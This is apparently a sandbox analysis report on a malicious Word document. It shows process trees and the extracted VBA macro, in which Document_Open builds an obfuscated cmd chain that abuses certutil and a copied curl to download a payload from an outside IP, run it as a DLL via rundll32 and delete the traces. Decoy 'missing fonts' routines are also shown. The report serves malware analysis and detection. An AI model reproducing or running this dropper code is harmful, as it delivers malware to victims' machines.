Commandline:	certutil -f -encode C:\Users\user\AppData\Local\Temp\curl.exe C:\Users\user\AppData\Local\Temp\curl.txt
Imagebase:	0x340000
File size:	1'277'440 bytes
MD5 hash:	0DDA4F16AE041578B4E250AE12E06EB1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	09:57:45
Start date:	22/07/2024
Path:	C:\Windows\SysWOW64\certutil.exe
Wow64 process (32bit):	true
Commandline:	certutil -f -decode C:\Users\user\AppData\Local\Temp\curl.txt C:\Users\user\AppData\Local\Temp\curl.exe
Imagebase:	0x340000
File size:	1'277'440 bytes
MD5 hash:	0DDA4F16AE041578B4E250AE12E06EB1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	09:57:45
Start date:	22/07/2024
Path:	C:\Users\user\AppData\Local\Temp\curl.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\curl.exe http://172.104.160.126:8099/payload2.txt -o C:\Users\user\AppData\Local\Temp\mscorsvc.txt
Imagebase:	0x860000
File size:	470'528 bytes
MD5 hash:	44E5BAEEE864F1E9EDBE3986246AB37A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 0%, ReversingLabs
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	09:57:49
Start date:	22/07/2024
Path:	C:\Windows\SysWOW64\certutil.exe
Wow64 process (32bit):	true
Commandline:	certutil -f -decode C:\Users\user\AppData\Local\Temp\mscorsvc.txt C:\Users\user\AppData\Local\Temp\mscorsvc.dll
Imagebase:	0x340000
File size:	1'277'440 bytes
MD5 hash:	0DDA4F16AE041578B4E250AE12E06EB1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	09:57:49
Start date:	22/07/2024
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32 C:\Users\user\AppData\Local\Temp\mscorsvc.dll,DllMain
Imagebase:	0xfc0000
File size:	61'440 bytes
MD5 hash:	889B99C52A60DD49227C5E485A016679
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	16
Start time:	09:57:49
Start date:	22/07/2024
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	false
Commandline:	rundll32 C:\Users\user\AppData\Local\Temp\mscorsvc.dll,DllMain
Imagebase:	0x7ff7868b0000
File size:	71'680 bytes
MD5 hash:	EF3179D498793BF4234F708D3BE28633
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	17
Start time:	09:57:49
Start date:	22/07/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c taskkill /F /IM chrome.exe
Imagebase:	0x7ff7a6040000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	09:57:49
Start date:	22/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	09:57:49
Start date:	22/07/2024
Path:	C:\Windows\System32\taskkill.exe
Wow64 process (32bit):	false
Commandline:	taskkill /F /IM chrome.exe
Imagebase:	0x7ff6956e0000
File size:	101'376 bytes
MD5 hash:	A599D3B2FAFBDE4C1A6D7D0F839451C7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	09:58:13
Start date:	22/07/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	09:58:13
Start date:	22/07/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2084 --field-trial-handle=1976,i,14189460158267219968,9438605418759963760,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	09:58:15
Start date:	22/07/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" "https://go.microsoft.com/fwlink/?linkid=2280386"
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	09:58:33
Start date:	22/07/2024
Path:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\Microsoft Office\Root\Office16\WINWORD.EXE" /Automation -Embedding
Imagebase:	0x740000
File size:	1'620'872 bytes
MD5 hash:	1A0C2C2E7D9C4BC18E91604E9B0C7678
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	28
Start time:	09:58:42
Start date:	22/07/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\cmd.exe /c xcopy C:\Windows\System32\curl.exe C:\Users\user\AppData\Local\Temp & certutil -f -encode C:\Users\user\AppData\Local\Temp\curl.exe C:\Users\user\AppData\Local\Temp\curl.txt & certutil -f -decode C:\Users\user\AppData\Local\Temp\curl.txt C:\Users\user\AppData\Local\Temp\curl.exe & C:\Users\user\AppData\Local\Temp\curl.exe http://172.104.160.126:8099/payload2.txt -o C:\Users\user\AppData\Local\Temp\mscorsvc.txt & certutil -f -decode C:\Users\user\AppData\Local\Temp\mscorsvc.txt C:\Users\user\AppData\Local\Temp\mscorsvc.dll & del C:\Users\user\AppData\Local\Temp\curl.exe & del C:\Users\user\AppData\Local\Temp\curl.txt & del C:\Users\user\AppData\Local\Temp\curl.exe & del C:\Users\user\AppData\Local\Temp\mscorsvc.txt & START " " rundll32 C:\Users\user\AppData\Local\Temp\mscorsvc.dll,DllMain & exit
Imagebase:	0x1c0000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: conhost.exePID: 7072, Parent PID: 6464

General

Target ID:	29
Start time:	09:58:42
Start date:	22/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	09:58:42
Start date:	22/07/2024
Path:	C:\Windows\SysWOW64\xcopy.exe
Wow64 process (32bit):	true
Commandline:	xcopy C:\Windows\System32\curl.exe C:\Users\user\AppData\Local\Temp
Imagebase:	0x430000
File size:	43'520 bytes
MD5 hash:	7E9B7CE496D09F70C072930940F9F02C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	09:58:42
Start date:	22/07/2024
Path:	C:\Windows\SysWOW64\certutil.exe
Wow64 process (32bit):	true
Commandline:	certutil -f -encode C:\Users\user\AppData\Local\Temp\curl.exe C:\Users\user\AppData\Local\Temp\curl.txt
Imagebase:	0x340000
File size:	1'277'440 bytes
MD5 hash:	0DDA4F16AE041578B4E250AE12E06EB1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	09:58:43
Start date:	22/07/2024
Path:	C:\Windows\SysWOW64\certutil.exe
Wow64 process (32bit):	true
Commandline:	certutil -f -decode C:\Users\user\AppData\Local\Temp\curl.txt C:\Users\user\AppData\Local\Temp\curl.exe
Imagebase:	0x340000
File size:	1'277'440 bytes
MD5 hash:	0DDA4F16AE041578B4E250AE12E06EB1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	09:58:43
Start date:	22/07/2024
Path:	C:\Users\user\AppData\Local\Temp\curl.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\curl.exe http://172.104.160.126:8099/payload2.txt -o C:\Users\user\AppData\Local\Temp\mscorsvc.txt
Imagebase:	0x830000
File size:	470'528 bytes
MD5 hash:	44E5BAEEE864F1E9EDBE3986246AB37A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	09:58:46
Start date:	22/07/2024
Path:	C:\Windows\SysWOW64\certutil.exe
Wow64 process (32bit):	true
Commandline:	certutil -f -decode C:\Users\user\AppData\Local\Temp\mscorsvc.txt C:\Users\user\AppData\Local\Temp\mscorsvc.dll
Imagebase:	0x340000
File size:	1'277'440 bytes
MD5 hash:	0DDA4F16AE041578B4E250AE12E06EB1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	09:58:47
Start date:	22/07/2024
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32 C:\Users\user\AppData\Local\Temp\mscorsvc.dll,DllMain
Imagebase:	0xfc0000
File size:	61'440 bytes
MD5 hash:	889B99C52A60DD49227C5E485A016679
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: rundll32.exePID: 5940, Parent PID: 5208

General

Target ID:	36
Start time:	09:58:47
Start date:	22/07/2024
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	false
Commandline:	rundll32 C:\Users\user\AppData\Local\Temp\mscorsvc.dll,DllMain
Imagebase:	0x7ff7868b0000
File size:	71'680 bytes
MD5 hash:	EF3179D498793BF4234F708D3BE28633
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: cmd.exePID: 2540, Parent PID: 5940

General

Target ID:	37
Start time:	09:58:47
Start date:	22/07/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c taskkill /F /IM chrome.exe
Imagebase:	0x7ff7a6040000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: conhost.exePID: 6304, Parent PID: 2540

General

Target ID:	38
Start time:	09:58:47
Start date:	22/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	39
Start time:	09:58:47
Start date:	22/07/2024
Path:	C:\Windows\System32\taskkill.exe
Wow64 process (32bit):	false
Commandline:	taskkill /F /IM chrome.exe
Imagebase:	0x7ff6956e0000
File size:	101'376 bytes
MD5 hash:	A599D3B2FAFBDE4C1A6D7D0F839451C7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

VBA Code

Call Graph

Entrypoint
Decryption Function
Executed
Not Executed
Show Help

Module: ThisDocument

Declaration

Line	Content
1	Attribute VB_Name = "ThisDocument"
2	Attribute VB_Base = "1Normal.ThisDocument"
3	Attribute VB_GlobalNameSpace = False
4	Attribute VB_Creatable = False
5	Attribute VB_PredeclaredId = True
6	Attribute VB_Exposed = True
7	Attribute VB_TemplateDerived = True
8	Attribute VB_Customizable = True

Executed Functions

Subroutine
MainFuncAPIs: 6, Strings: 4, Number of lines: 57, Relevance: 34.057

APIs	Meta Information
Path
ActiveDocument
Environ	Environ("temp") -> C:\Users\engineer\AppData\Local\Temp
Chr
CreateObject	CreateObject("WScript.Shell")
Run	IWshShell3.Run("C:\Windows\System32\cmd.exe /c xcopy C:\Windows\System32\curl.exe C:\Users\engineer\AppData\Local\Temp & certutil -f -encode C:\Users\engineer\AppData\Local\Temp\curl.exe C:\Users\engineer\AppData\Local\Temp\curl.txt & certutil -f -decode C:\Users\engineer\AppData\Local\Temp\curl.txt C:\Users\engineer\AppData\Local\Temp\curl.exe & C:\Users\engineer\AppData\Local\Temp\curl.exe http://172.104.160.126:8099/payload2.txt -o C:\Users\engineer\AppData\Local\Temp\mscorsvc.txt & certutil -f -decode C:\Users\engineer\AppData\Local\Temp\mscorsvc.txt C:\Users\engineer\AppData\Local\Temp\mscorsvc.dll & del C:\Users\engineer\AppData\Local\Temp\curl.exe & del C:\Users\engineer\AppData\Local\Temp\curl.txt & del C:\Users\engineer\AppData\Local\Temp\curl.exe & del C:\Users\engineer\AppData\Local\Temp\mscorsvc.txt & START " " rundll32 C:\Users\engineer\AppData\Local\Temp\mscorsvc.dll,DllMain & exit",0,False) -> 0

Strings	Decrypted Strings
"temp"
"http://172.104.160.126:8099"
"""
"WScript.Shell"

Line	Instruction	Meta Information
136	Sub MainFunc()
137	Dim curl_enc_txt_path as String	executed
138	Dim curl_dec_exe_path as String
139	Dim mal_enc_txt_url as String
140	Dim mal_enc_txt_path as String
141	Dim mal_dec_exe_path as String
142	Dim pp as String
143	Dim cc as String
144	Dim dir as String
145	Dim host as String
147	dir = ActiveDocument.Path	Path ActiveDocument
148	dir = Environ("temp")	Environ("temp") -> C:\Users\engineer\AppData\Local\Temp executed
149	host = "http://172.104.160.126:8099"
150	curl_enc_txt_path = dir + "\curl.txt"
151	curl_dec_exe_path = dir + "\curl.exe"
153	mal_enc_txt_url = host + "/payload2.txt"
154	mal_enc_txt_path = dir + "\mscorsvc.txt"
155	mal_dec_exe_path = dir + "\mscorsvc.dll"
157	pp = pp + "C:\Windows\Sys"
158	pp = pp + "tem32\cmd.exe /c "
159	cc = cc + curl_enc_txt_path + curl_dec_exe_path
160	pp = pp + "xcopy C:\Windows\Sys"
161	cc = cc + curl_enc_txt_path + mal_enc_txt_url
162	pp = pp + "tem32\cu" + "rl.exe " + dir + " & "
163	cc = cc + mal_enc_txt_path + mal_enc_txt_url
164	pp = pp + "certutil -f "
165	cc = cc + mal_enc_txt_path + mal_dec_exe_path
166	pp = pp + "-encode " + dir + "\cu" + "rl.exe " + curl_enc_txt_path + " & "
167	cc = cc + pp + mal_dec_exe_path
168	pp = pp + "certutil -f "
169	cc = cc + pp + dir
170	pp = pp + "-decode " + curl_enc_txt_path + " " + curl_dec_exe_path + " & "
171	cc = cc + curl_enc_txt_path + dir
173	pp = pp + curl_dec_exe_path + " " + mal_enc_txt_url + " -o " + mal_enc_txt_path + " & "
174	cc = cc + curl_enc_txt_path + dir
175	pp = pp + "certutil -f "
176	cc = cc + curl_enc_txt_path + curl_dec_exe_path
177	pp = pp + "-decode " + mal_enc_txt_path + " " + mal_dec_exe_path + " & "
178	cc = cc + mal_enc_txt_url + curl_dec_exe_path
180	pp = pp + "del " + dir + "\cu" + "rl.exe & "
181	cc = cc + host + pp + curl_enc_txt_path
182	pp = pp + "del " + curl_enc_txt_path + " & "
183	cc = cc + curl_enc_txt_path + dir
184	pp = pp + "del " + curl_dec_exe_path + " & "
185	cc = cc + curl_dec_exe_path + pp
187	pp = pp + "del " + mal_enc_txt_path + " & "
188	cc = cc + mal_enc_txt_path + pp
190	Dim vbDblQuote as String
191	vbDblQuote = Chr(34)	Chr
192	pp = pp + "START " + vbDblQuote + " " + vbDblQuote + " rundll32 " + mal_dec_exe_path + ",DllMain" + " & "
193	cc = cc + mal_dec_exe_path + pp
195	pp = pp + "exit"
196	cc = cc + dir + pp
201	Dim objShell as Object
202	Set objShell = CreateObject("WScript.Shell")	CreateObject("WScript.Shell") executed
203	objShell.Run pp, 0, False	IWshShell3.Run("C:\Windows\System32\cmd.exe /c xcopy C:\Windows\System32\curl.exe C:\Users\engineer\AppData\Local\Temp & certutil -f -encode C:\Users\engineer\AppData\Local\Temp\curl.exe C:\Users\engineer\AppData\Local\Temp\curl.txt & certutil -f -decode C:\Users\engineer\AppData\Local\Temp\curl.txt C:\Users\engineer\AppData\Local\Temp\curl.exe & C:\Users\engineer\AppData\Local\Temp\curl.exe http://172.104.160.126:8099/payload2.txt -o C:\Users\engineer\AppData\Local\Temp\mscorsvc.txt & certutil -f -decode C:\Users\engineer\AppData\Local\Temp\mscorsvc.txt C:\Users\engineer\AppData\Local\Temp\mscorsvc.dll & del C:\Users\engineer\AppData\Local\Temp\curl.exe & del C:\Users\engineer\AppData\Local\Temp\curl.txt & del C:\Users\engineer\AppData\Local\Temp\curl.exe & del C:\Users\engineer\AppData\Local\Temp\mscorsvc.txt & START " " rundll32 C:\Users\engineer\AppData\Local\Temp\mscorsvc.dll,DllMain & exit",0,False) -> 0 executed
204	End Sub

Subroutine
Document_OpenAPIs: 6, Strings: 0, Number of lines: 3, Relevance: 10.503

APIs	Meta Information
Part of subcall function MainFunc@ThisDocument: Path
Part of subcall function MainFunc@ThisDocument: ActiveDocument
Part of subcall function MainFunc@ThisDocument: Environ
Part of subcall function MainFunc@ThisDocument: Chr
Part of subcall function MainFunc@ThisDocument: CreateObject
Part of subcall function MainFunc@ThisDocument: Run

Line	Instruction	Meta Information
207	Sub Document_Open()
208	MainFunc	executed
209	End Sub

Non-Executed Functions

Subroutine
MsgFuncAPIs: 13, Strings: 6, Number of lines: 15, Relevance: 28.515

APIs	Meta Information
vbYesNo
vbCritical
vbDefaultButton2
MsgBox
vbYes
Part of subcall function DeleteText@ThisDocument: Paragraphs
Part of subcall function DeleteText@ThisDocument: Chr
Part of subcall function DeleteText@ThisDocument: Paragraphs
Part of subcall function DeleteText@ThisDocument: Paragraphs
Part of subcall function DeleteText@ThisDocument: Paragraphs
Part of subcall function DeleteText@ThisDocument: Paragraphs
Part of subcall function DeleteText@ThisDocument: ActiveDocument
Part of subcall function DeleteText@ThisDocument: Paragraphs

Strings	Decrypted Strings
"The document cannot be fully displayed due to missing fonts. Do you want to install missing fonts?"
"Missing font"
"DEMO.HLP"
"Yes"
"Yes"
"No"

Line	Instruction	Meta Information
118	Sub MsgFunc()
119	Dim Msg, Style, Title, Help, Ctxt, Response, MyString
120	Msg = "The document cannot be fully displayed due to missing fonts. Do you want to install missing fonts?"
121	Style = vbYesNo Or vbCritical Or vbDefaultButton2	vbYesNo vbCritical vbDefaultButton2
122	Title = "Missing font"
123	Help = "DEMO.HLP"
124	Ctxt = 1000
126	Response = MsgBox(Msg, Style, Title, Help, Ctxt)	MsgBox
127	If Response = vbYes Then	vbYes
128	MyString = "Yes"
129	DeleteText
130	Else
131	MyString = "No"
133	Endif
134	End Sub

Subroutine
DeleteTextAPIs: 8, Strings: 6, Number of lines: 33, Relevance: 21.033

APIs	Meta Information
Paragraphs
Chr
Paragraphs
Paragraphs
Paragraphs
Paragraphs
ActiveDocument
Paragraphs

Strings	Decrypted Strings
"Fourth paragraph displayed ""
"Fifth paragraph displayed"
"Sixth paragraph displayed"
"Seventh paragraph displayed"
"Times New Roman"
"Times New Roman"

Line	Instruction	Meta Information
16	Sub DeleteText()
26	Set rngFirstParagraph = ActiveDocument.Paragraphs(4).Range	Paragraphs
27	With rngFirstParagraph
28	. Delete
29	. InsertAfter Text := "Fourth paragraph displayed " + Chr(34)	Chr
30	. InsertParagraphAfter
31	End With
33	Set rngFirstParagraph = ActiveDocument.Paragraphs(5).Range	Paragraphs
34	With rngFirstParagraph
35	. Delete
36	. InsertAfter Text := "Fifth paragraph displayed"
37	. InsertParagraphAfter
38	End With
40	Set rngFirstParagraph = ActiveDocument.Paragraphs(6).Range	Paragraphs
41	With rngFirstParagraph
42	. Delete
43	. InsertAfter Text := "Sixth paragraph displayed"
44	. InsertParagraphAfter
45	End With
47	Set rngFirstParagraph = ActiveDocument.Paragraphs(7).Range	Paragraphs
48	With rngFirstParagraph
49	. Delete
50	. InsertAfter Text := "Seventh paragraph displayed"
51	. InsertParagraphAfter
52	End With
54	For i = 1 To ActiveDocument.Paragraphs.Count	Paragraphs ActiveDocument
56	Set myRange = ActiveDocument.Paragraphs(i).Range	Paragraphs
57	With myRange.Font
59	. Name = "Times New Roman"
60	. Size = 14
61	End With
62	Next i	Paragraphs ActiveDocument
63	End Sub

Subroutine
ShowErrorTextAPIs: 6, Strings: 0, Number of lines: 16, Relevance: 7.516

APIs	Meta Information
Paragraphs
ChrW
ChrW
ChrW
ChrW
ChrW

Line	Instruction	Meta Information
65	Sub ShowErrorText()
66	Dim rngFirstParagraph as Range
68	Set rngFirstParagraph = ActiveDocument.Paragraphs(4).Range	Paragraphs
69	With rngFirstParagraph
70	. Delete
71	. InsertAfter Text := ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + " " + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + " " + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + " " + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + " " + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + " " + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + " " + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + " " + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + " " + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + " " + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + " " + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + " " + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + " " + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + " " + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + " " + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + " " + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + " " + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + " " + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + " " + ChrW(- 3) + ChrW(- 3)	ChrW
76	. InsertParagraphAfter
78	. InsertAfter Text := ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + " " + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + " " + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + " " + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + " " + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + " " + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + " " + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + " " + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + " " + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + " " + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + " " + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + " " + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + " " + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + " " + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + " " + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + " " + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + " " + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + " " + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + " " + ChrW(- 3) + ChrW(- 3)	ChrW
82	. InsertParagraphAfter
84	. InsertAfter Text := ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + " " + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + " " + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + " " + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + " " + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + " " + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + " " + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + " " + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + " " + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + " " + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + " " + ChrW(- 3) + ChrW(- 3) + ChrW(- 